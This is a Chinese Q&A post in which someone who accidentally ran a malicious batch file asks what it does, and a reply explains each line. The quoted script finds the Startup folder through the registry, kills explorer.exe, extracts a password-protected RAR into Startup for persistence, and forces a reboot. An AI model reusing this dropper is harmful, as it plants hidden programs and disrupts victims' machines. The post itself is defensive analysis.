Question

不小心执行了了一个恶意bat，麻烦谁来看看这些代码什么意思

for /f "skip=1 tokens=2*" %%a in ('reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Startup') do set qd=%%b
set qd=%qd:~0,-1%
taskkill /f /im explorer.exe
mm.exe x -y -p　 mm.rar ^"%qd%\^"
Shutdown.exe -r -f -t 0

Answer 1

1 2行 从注册表获取启动文件夹的绝对路径
3行 关闭资源管理器
4行 解压缩mm.rar到前面获取的启动文件夹绝对路径
5行 立即重启